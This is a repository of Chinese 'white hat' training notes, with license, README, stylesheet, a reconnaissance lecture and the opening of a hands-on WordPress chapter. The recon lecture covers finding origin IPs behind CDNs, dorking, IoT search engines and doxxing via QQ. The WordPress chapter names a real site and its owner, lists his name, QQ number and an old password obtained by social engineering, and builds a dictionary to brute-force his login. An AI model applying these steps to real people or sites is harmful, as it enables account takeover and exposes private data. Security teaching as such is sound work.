├── .gitignore
├── LICENSE
├── README.md
├── SUMMARY.md
├── styles
└── ebook.css
├── 信息收集.md
├── 实战篇 WordPress.md
├── 实战篇 余闻同学录.md
├── 实战篇 南方 0day.md
├── 实战篇 捷达系统.md
├── 实战篇 迅雷 CMS.md
├── 工具篇 AWVS.md
├── 工具篇 BruteXSS.md
├── 工具篇 Nmap.md
├── 工具篇 Safe3 WVS.md
├── 漏洞篇 CSRF.md
├── 漏洞篇 SQL注入.md
├── 漏洞篇 SSRF.md
├── 漏洞篇 XSS.md
├── 漏洞篇 中间件.md
├── 漏洞篇 代码执行.md
├── 漏洞篇 弱口令.md
├── 漏洞篇 提权.md
├── 漏洞篇 文件上传.md
├── 漏洞篇 文件包含.md
├── 漏洞篇 第三方风险.md
├── 漏洞篇 越权.md
└── 漏洞篇 逻辑漏洞.md
/.gitignore:
--------------------------------------------------------------------------------
1 | _book
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License (CC BY-NC-SA 4.0)
2 |
3 | Copyright © 2020 ApacheCN(apachecn@163.com)
4 |
5 | By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
6 |
7 | Section 1 – Definitions.
8 |
9 | a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
10 | b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
11 | c. BY-NC-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License.
12 | d. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
13 | e. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
14 | f. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
15 | g. License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution, NonCommercial, and ShareAlike.
16 | h. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
17 | i. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
18 | j. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
19 | k. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
20 | l. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
21 | m. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
22 | n. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
23 |
24 | Section 2 – Scope.
25 |
26 | a. License grant.
27 | 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
28 | A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
29 | B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
30 | 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
31 | 3. Term. The term of this Public License is specified in Section 6(a).
32 | 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
33 | 5. Downstream recipients.
34 | A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
35 | B. Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.
36 | C. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
37 | 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
38 | b. Other rights.
39 | 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
40 | 2. Patent and trademark rights are not licensed under this Public License.
41 | 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
42 |
43 | Section 3 – License Conditions.
44 |
45 | Your exercise of the Licensed Rights is expressly made subject to the following conditions.
46 |
47 | a. Attribution.
48 | 1. If You Share the Licensed Material (including in modified form), You must:
49 | A. retain the following if it is supplied by the Licensor with the Licensed Material:
50 | i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
51 | ii. a copyright notice;
52 | iii. a notice that refers to this Public License;
53 | iv. a notice that refers to the disclaimer of warranties;
54 | v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
55 | B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
56 | C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
57 | 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
58 | 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
59 | b. ShareAlike.
60 | In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
61 | 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-NC-SA Compatible License.
62 | 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
63 | 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
64 |
65 | Section 4 – Sui Generis Database Rights.
66 |
67 | Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
68 |
69 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
70 | b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and
71 | c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
72 |
73 | For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
74 |
75 | Section 5 – Disclaimer of Warranties and Limitation of Liability.
76 |
77 | a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
78 | b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
79 | c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
80 |
81 | Section 6 – Term and Termination.
82 |
83 | a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
84 | b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
85 | 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
86 | 2. upon express reinstatement by the Licensor.
87 | For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
88 | c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
89 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
90 |
91 | Section 7 – Other Terms and Conditions.
92 |
93 | a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
94 | b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
95 |
96 | Section 8 – Interpretation.
97 |
98 | a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
99 | b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
100 | c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
101 | d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | + [在线阅读](https://www.gitbook.com/book/wizardforcel/mst-sec-lecture-notes/details)
10 | + [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/mst-sec-lecture-notes)
11 | + [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/mst-sec-lecture-notes)
12 | + [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/mst-sec-lecture-notes)
13 | + [代码仓库](https://github.com/wizardforcel/mst-sec-lecture-notes)
14 |
15 | ## 更新历史
16 |
17 | | 版本 | 日期 | 内容 |
18 | | --- | --- | --- |
19 | | v1.6 | 2017.3.14 | 米斯特第二期视频实战篇内容 |
20 | | v1.5 | 2017.3.9 | 米斯特第二期视频基础篇内容 |
21 | | v1.1 | 2017.1.3 | 增加参考链接 |
22 | | v1.0 | 2016.12.27 | 米斯特第一期视频全部内容 |
--------------------------------------------------------------------------------
/SUMMARY.md:
--------------------------------------------------------------------------------
1 | + [信息收集](信息收集.md)
2 | + [漏洞篇 CSRF](漏洞篇 CSRF.md)
3 | + [漏洞篇 SQL注入](漏洞篇 SQL注入.md)
4 | + [漏洞篇 SSRF](漏洞篇 SSRF.md)
5 | + [漏洞篇 XSS](漏洞篇 XSS.md)
6 | + [漏洞篇 代码执行](漏洞篇 代码执行.md)
7 | + [漏洞篇 第三方风险](漏洞篇 第三方风险.md)
8 | + [漏洞篇 弱口令、爆破、遍历](漏洞篇 弱口令.md)
9 | + [漏洞篇 提权](漏洞篇 提权.md)
10 | + [漏洞篇 文件上传](漏洞篇 文件上传.md)
11 | + [漏洞篇 文件包含](漏洞篇 文件包含.md)
12 | + [漏洞篇 越权](漏洞篇 越权.md)
13 | + [漏洞篇 中间件](漏洞篇 中间件.md)
14 | + [漏洞篇 逻辑漏洞](漏洞篇 逻辑漏洞.md)
15 | + [工具篇 Safe3 WVS](工具篇 Safe3 WVS.md)
16 | + [工具篇 Nmap](工具篇 Nmap.md)
17 | + [工具篇 BruteXSS](工具篇 BruteXSS.md)
18 | + [工具篇 AWVS](工具篇 AWVS.md)
19 | + [实战篇 WordPress](实战篇 WordPress.md)
20 | + [实战篇 南方 0day](实战篇 南方 0day.md)
21 | + [实战篇 余闻同学录](实战篇 余闻同学录.md)
22 | + [实战篇 迅雷 CMS](实战篇 迅雷 CMS.md)
23 | + [实战篇 捷达系统](实战篇 捷达系统.md)
24 |
--------------------------------------------------------------------------------
/styles/ebook.css:
--------------------------------------------------------------------------------
1 | /* GitHub stylesheet for MarkdownPad (http://markdownpad.com) */
2 | /* Author: Nicolas Hery - http://nicolashery.com */
3 | /* Version: b13fe65ca28d2e568c6ed5d7f06581183df8f2ff */
4 | /* Source: https://github.com/nicolahery/markdownpad-github */
5 |
6 | /* RESET
7 | =============================================================================*/
8 |
9 | html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
10 | margin: 0;
11 | padding: 0;
12 | border: 0;
13 | }
14 |
15 | /* BODY
16 | =============================================================================*/
17 |
18 | body {
19 | font-family: Helvetica, arial, freesans, clean, sans-serif;
20 | font-size: 14px;
21 | line-height: 1.6;
22 | color: #333;
23 | background-color: #fff;
24 | padding: 20px;
25 | max-width: 960px;
26 | margin: 0 auto;
27 | }
28 |
29 | body>*:first-child {
30 | margin-top: 0 !important;
31 | }
32 |
33 | body>*:last-child {
34 | margin-bottom: 0 !important;
35 | }
36 |
37 | /* BLOCKS
38 | =============================================================================*/
39 |
40 | p, blockquote, ul, ol, dl, table, pre {
41 | margin: 15px 0;
42 | }
43 |
44 | /* HEADERS
45 | =============================================================================*/
46 |
47 | h1, h2, h3, h4, h5, h6 {
48 | margin: 20px 0 10px;
49 | padding: 0;
50 | font-weight: bold;
51 | -webkit-font-smoothing: antialiased;
52 | }
53 |
54 | h1 tt, h1 code, h2 tt, h2 code, h3 tt, h3 code, h4 tt, h4 code, h5 tt, h5 code, h6 tt, h6 code {
55 | font-size: inherit;
56 | }
57 |
58 | h1 {
59 | font-size: 24px;
60 | border-bottom: 1px solid #ccc;
61 | color: #000;
62 | }
63 |
64 | h2 {
65 | font-size: 18px;
66 | color: #000;
67 | }
68 |
69 | h3 {
70 | font-size: 14px;
71 | }
72 |
73 | h4 {
74 | font-size: 14px;
75 | }
76 |
77 | h5 {
78 | font-size: 14px;
79 | }
80 |
81 | h6 {
82 | color: #777;
83 | font-size: 14px;
84 | }
85 |
86 | body>h2:first-child, body>h1:first-child, body>h1:first-child+h2, body>h3:first-child, body>h4:first-child, body>h5:first-child, body>h6:first-child {
87 | margin-top: 0;
88 | padding-top: 0;
89 | }
90 |
91 | a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 {
92 | margin-top: 0;
93 | padding-top: 0;
94 | }
95 |
96 | h1+p, h2+p, h3+p, h4+p, h5+p, h6+p {
97 | margin-top: 10px;
98 | }
99 |
100 | /* LINKS
101 | =============================================================================*/
102 |
103 | a {
104 | color: #4183C4;
105 | text-decoration: none;
106 | }
107 |
108 | a:hover {
109 | text-decoration: underline;
110 | }
111 |
112 | /* LISTS
113 | =============================================================================*/
114 |
115 | ul, ol {
116 | padding-left: 30px;
117 | }
118 |
119 | ul li > :first-child,
120 | ol li > :first-child,
121 | ul li ul:first-of-type,
122 | ol li ol:first-of-type,
123 | ul li ol:first-of-type,
124 | ol li ul:first-of-type {
125 | margin-top: 0px;
126 | }
127 |
128 | ul ul, ul ol, ol ol, ol ul {
129 | margin-bottom: 0;
130 | }
131 |
132 | dl {
133 | padding: 0;
134 | }
135 |
136 | dl dt {
137 | font-size: 14px;
138 | font-weight: bold;
139 | font-style: italic;
140 | padding: 0;
141 | margin: 15px 0 5px;
142 | }
143 |
144 | dl dt:first-child {
145 | padding: 0;
146 | }
147 |
148 | dl dt>:first-child {
149 | margin-top: 0px;
150 | }
151 |
152 | dl dt>:last-child {
153 | margin-bottom: 0px;
154 | }
155 |
156 | dl dd {
157 | margin: 0 0 15px;
158 | padding: 0 15px;
159 | }
160 |
161 | dl dd>:first-child {
162 | margin-top: 0px;
163 | }
164 |
165 | dl dd>:last-child {
166 | margin-bottom: 0px;
167 | }
168 |
169 | /* CODE
170 | =============================================================================*/
171 |
172 | pre, code, tt {
173 | font-size: 12px;
174 | font-family: Consolas, "Liberation Mono", Courier, monospace;
175 | }
176 |
177 | code, tt {
178 | margin: 0 0px;
179 | padding: 0px 0px;
180 | white-space: nowrap;
181 | border: 1px solid #eaeaea;
182 | background-color: #f8f8f8;
183 | border-radius: 3px;
184 | }
185 |
186 | pre>code {
187 | margin: 0;
188 | padding: 0;
189 | white-space: pre;
190 | border: none;
191 | background: transparent;
192 | }
193 |
194 | pre {
195 | background-color: #f8f8f8;
196 | border: 1px solid #ccc;
197 | font-size: 13px;
198 | line-height: 19px;
199 | overflow: auto;
200 | padding: 6px 10px;
201 | border-radius: 3px;
202 | }
203 |
204 | pre code, pre tt {
205 | background-color: transparent;
206 | border: none;
207 | }
208 |
209 | kbd {
210 | -moz-border-bottom-colors: none;
211 | -moz-border-left-colors: none;
212 | -moz-border-right-colors: none;
213 | -moz-border-top-colors: none;
214 | background-color: #DDDDDD;
215 | background-image: linear-gradient(#F1F1F1, #DDDDDD);
216 | background-repeat: repeat-x;
217 | border-color: #DDDDDD #CCCCCC #CCCCCC #DDDDDD;
218 | border-image: none;
219 | border-radius: 2px 2px 2px 2px;
220 | border-style: solid;
221 | border-width: 1px;
222 | font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
223 | line-height: 10px;
224 | padding: 1px 4px;
225 | }
226 |
227 | /* QUOTES
228 | =============================================================================*/
229 |
230 | blockquote {
231 | border-left: 4px solid #DDD;
232 | padding: 0 15px;
233 | color: #777;
234 | }
235 |
236 | blockquote>:first-child {
237 | margin-top: 0px;
238 | }
239 |
240 | blockquote>:last-child {
241 | margin-bottom: 0px;
242 | }
243 |
244 | /* HORIZONTAL RULES
245 | =============================================================================*/
246 |
247 | hr {
248 | clear: both;
249 | margin: 15px 0;
250 | height: 0px;
251 | overflow: hidden;
252 | border: none;
253 | background: transparent;
254 | border-bottom: 4px solid #ddd;
255 | padding: 0;
256 | }
257 |
258 | /* TABLES
259 | =============================================================================*/
260 |
261 | table th {
262 | font-weight: bold;
263 | }
264 |
265 | table th, table td {
266 | border: 1px solid #ccc;
267 | padding: 6px 13px;
268 | }
269 |
270 | table tr {
271 | border-top: 1px solid #ccc;
272 | background-color: #fff;
273 | }
274 |
275 | table tr:nth-child(2n) {
276 | background-color: #f8f8f8;
277 | }
278 |
279 | /* IMAGES
280 | =============================================================================*/
281 |
282 | img {
283 | max-width: 100%
284 | }
--------------------------------------------------------------------------------
/信息收集.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 信息收集
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 收集什么?
10 |
11 | + Whois信息
12 | + 注册人名字、邮箱等
13 | + IP信息(服务器的IP)
14 | + 判断是否为CDN节点,查询同IP网站,端口扫描
15 | + 目录信息
16 | + 判断WEB应用,获取网站后台目录,获取其他
17 | + 服务信息
18 | + 判断服务,例如:IIS、Apache
19 | + 脚本信息
20 | + ASP、PHP、`aspx`(asp.net)
21 | + 框架信息
22 | + ThinkPHP、Struts等
23 | + 应用信息
24 | + 应用,dedecms、phpcms等
25 | + 子域名信息
26 | + `xxx.xx.com` `xxx.xxx.xx.com`
27 |
28 | ## WHOIS
29 |
30 | 查询工具:。
31 |
32 | 
33 |
34 | ## IP 信息
35 |
36 | 我们可以`ping`某个 URL:
37 |
38 | ```
39 | C:\Users\asus> ping www.hi-ourlife.com
40 |
41 | 正在 Ping www.hi-ourlife.com.cname.yunjiasu-cdn.net [162.159.209.78] 具有 32 字节的数据:
42 | 来自 162.159.209.78 的回复: 字节=32 时间=215ms TTL=52
43 | 来自 162.159.209.78 的回复: 字节=32 时间=217ms TTL=52
44 | 来自 162.159.209.78 的回复: 字节=32 时间=218ms TTL=52
45 | 来自 162.159.209.78 的回复: 字节=32 时间=222ms TTL=52
46 |
47 | 162.159.209.78 的 Ping 统计信息:
48 | 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
49 | 往返行程的估计时间(以毫秒为单位):
50 | 最短 = 215ms,最长 = 222ms,平均 = 218ms
51 | ```
52 |
53 | 但显然,这里的 IP 是 CDN 的 IP。
54 |
55 | 我们可以使用[多地`ping`工具](http://ping.chinaz.com/)来判断:
56 |
57 | 
58 |
59 | 一般来说,使用了 CDN 的网站在不同地点的`ping`结果是不一样的。不过这里它直接写出了百度云加速节点。
60 |
61 | 那么如何找出源站 IP 呢?
62 |
63 | 1. 查询子域:许多情况下只有主站使用了 CDN,二级站点并没有,所以我们就可以直接查询分站的 IP。分站的搜索方法见下文。
64 |
65 | 2. 国内部分 CDN 服务只针对国内,对国外的访问几乎不使用 CDN。所以我们可以通过国外冷门 DNS 查询域名。比如,`nslookup xxx.com 199.89.126.10`。
66 |
67 | ```
68 | C:\Users\asus\Desktop> nslookup hi-ourlife.com 199.89.126.10
69 | 服务器: UnKnown
70 | Address: 199.89.126.10
71 |
72 | 非权威应答:
73 | 名称: hi-ourlife.com
74 | Address: 45.64.65.85
75 | ```
76 |
77 | 3. 历史解析记录:CDN 的 IP 地址之前所用的 IP 就是真实 IP。
78 |
79 |
80 |
81 | 4. 查询邮件:很多服务器自带邮件发送功能,可以利用它来获取真实 IP。让站点主动发送邮件,然后右键查询源代码,就能获得真实 IP。
82 |
83 | 
84 |
85 | 
86 |
87 | 这个工具可以检测旁站:。
88 |
89 | 端口扫描可以使用 Nmap 进行,请见“工具篇 Nmap”一节。
90 |
91 | ## 目录信息
92 |
93 | 1. 主动式扫描:爬虫、暴力破解
94 |
95 | + AVWS:根据站点的链接(见“工具篇 AVWS”一节)
96 | + [御剑](http://www.jb51.net/softs/43405.html):根据固定的字典
97 |
98 | 
99 |
100 | 2. 被动式扫描:Burp Spider
101 |
102 | 3. Google Hack
103 |
104 | + `intitle`:搜索网页标题中包含有特定字符的网页
105 | + `inurl`:搜索包含有特定字符的 URL
106 | + `intext`:搜索网页正文内容中的指定字符
107 | + `filetype`:搜索指定类型的文件
108 | + `site`:搜索与指定网站有联系的 URL
109 |
110 | 4. `robots.txt`(补充)
111 |
112 | 重点看`Disallow`的部分。
113 |
114 | 
115 |
116 | 5. 联网设备搜索
117 |
118 | + 钟馗之眼`www.zoomeye.com`。
119 | + 傻蛋`www.oshadan.com`。
120 |
121 | 联网设备搜索引擎可以检索到许多搜索引擎不收录的页面,通常是后台等页面。
122 |
123 | 构造检索关键词时:
124 |
125 | + 系统/后台类,可以搜索“xxx系统/平台/管理”。
126 | + 企业类,可以搜索“xxx企业/公司/平台”。
127 |
128 | 比如我们要挖电信的系统,可以搜索“电信系统/平台/管理”。
129 |
130 | 这里使用傻蛋这个平台演示一下,它不仅仅能监控系统,还能搜索到一些内网的系统。比如我们要挖一些电信系统,这里点击全网搜索,可以看到很多外网看不到的内部系统。
131 |
132 | 
133 |
134 | 
135 |
136 | 我们点击其中一个“汕尾用电监控系统”,可以看到详细的用电情况,这个就属于一种越权或者绕过。
137 |
138 | 
139 |
140 | ## 服务信息
141 |
142 | 查看返回的数据包的`Server`头,获取`Server`信息。如`Server:Microsoft-IIS/6.0`。
143 |
144 | ```
145 | GET / HTTP/1.1
146 | Host: www.hi-ourlife.com
147 | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
148 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
149 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
150 | Accept-Encoding: gzip, deflate
151 | Cookie: __cfduid=d85643dc07ab45d17ec48c37dde7145d11480308480; PHPSESSID=qfg2unrqvc1adhvcpn8ejhguqulakcd2; CNZZDATA1258769653=1514150716-1480308628-%7C1480308628; timezone=8
152 | X-Forwarded-For: 127.0.0.1
153 | Connection: keep-alive
154 | Upgrade-Insecure-Requests: 1
155 |
156 | HTTP/1.1 200 OK
157 | Date: Mon, 28 Nov 2016 05:43:11 GMT
158 | Content-Type: text/html; charset=utf-8
159 | Transfer-Encoding: chunked
160 | Connection: keep-alive
161 | Product: Z-BlogPHP 1.5 Zero
162 | Expires: Thu, 19 Nov 1981 08:52:00 GMT
163 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
164 | Pragma: no-cache
165 | Vary: Accept-Encoding
166 | Server: yunjiasu-nginx
167 | CF-RAY: 308b8035114c226a-LAX
168 | Content-Encoding: gzip
169 | ```
170 |
171 | 这个封包告诉我们服务器是 Nginx。
172 |
173 | ## 脚本信息
174 |
175 | 1. 查看返回的数据包中的`X-Powered-By`的值
176 |
177 | 2. 查看cookie中的信息
178 |
179 | ```
180 | PHPSESSID
181 | ASPSESSID
182 | ```
183 |
184 | 比如上面的封包中出现了`PHPSESSID`,说明站点很可能使用 PHP 编写。
185 |
186 | ## 框架信息
187 |
188 | 通过报错信息或是URL结构获取网站使用的框架信息。如ThinkPHP,Struts等。
189 |
190 | ## 应用信息
191 |
192 | 目录特征、文件特征、指纹扫描工具、网站特征等。
193 |
194 | 比如存在`wp-login.php`就可能是 WordPress。
195 |
196 | ## 子域名信息
197 |
198 | + [子域名挖掘机](http://www.cnseay.com/3590/comment-page-1/)
199 |
200 | 
201 |
202 | + 搜素引擎:`site:*.xxx.com`
203 |
204 | ## 个人信息
205 |
206 | [社会工程学](http://baike.baidu.com/item/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6):使人们顺从你的意愿、满足你的欲望的一门艺术与学问。
207 |
208 | QQ 空间人肉方法的思维导图:
209 |
210 | 
211 |
212 | 
213 |
214 | ## 附录
215 |
216 | + [信息安全泄露只在一念之间(一)企鹅扣扣](https://zhuanlan.zhihu.com/p/23635061)
217 |
218 | + [社工研究组文集](https://pan.baidu.com/share/link?shareid=2318908755&uk=1947372036&fid=74383462672650)
219 |
220 | + [Kali Linux 秘籍 第四章 信息收集](http://www.jianshu.com/p/366e00c32d2b)
221 |
222 | + [Kali Linux Web 渗透测试秘籍 第二章 侦查](http://www.jianshu.com/p/ad77b3af8651)
223 |
--------------------------------------------------------------------------------
/实战篇 WordPress.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 实战篇 WordPress
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | 目标是`http://hzwer.com`。
10 |
11 | 首先有学员社到了他的个人信息和老密码:
12 |
13 | 
14 |
15 | 然后我们利用`www.caimima.net`这个网站来生成字典。
16 |
17 | 我们在“姓名简拼”中输入“hzw”,“英文名”中输入“hzwer”,姓名全拼中输入“huangzhewen”,“QQ 号”中输入“598460606”,“历史密码”中输入“286300346”。
18 |
19 | 
20 |
21 | 然后点击提交:
22 |
23 | 
24 |
25 | 然后点击查看更多:
26 |
27 | 
28 |
29 | 把这个东西保存为`hzwer.txt`。
30 |
31 | 然后他的网站是 WordPress 程序,登录页面是`wp-login.php`,直接访问它。我们尝试为用户名输入`admin`,密码随便输入然后提交:
32 |
33 | 
34 |
35 | 显示“为用户名`admin`指定的密码不正确”,说明用户名`admin`是存在的。
36 |
37 |
38 | 接下来要爆破密码,打开 Burp 抓包:
39 |
40 | 
41 |
42 | 发送到 Intruder,进行爆破。选择之前保存的字典:
43 |
44 | http://ww2.sinaimg.cn/large/841aea59jw1fb49r8kmxnj20ye0r576g.jpg
45 |
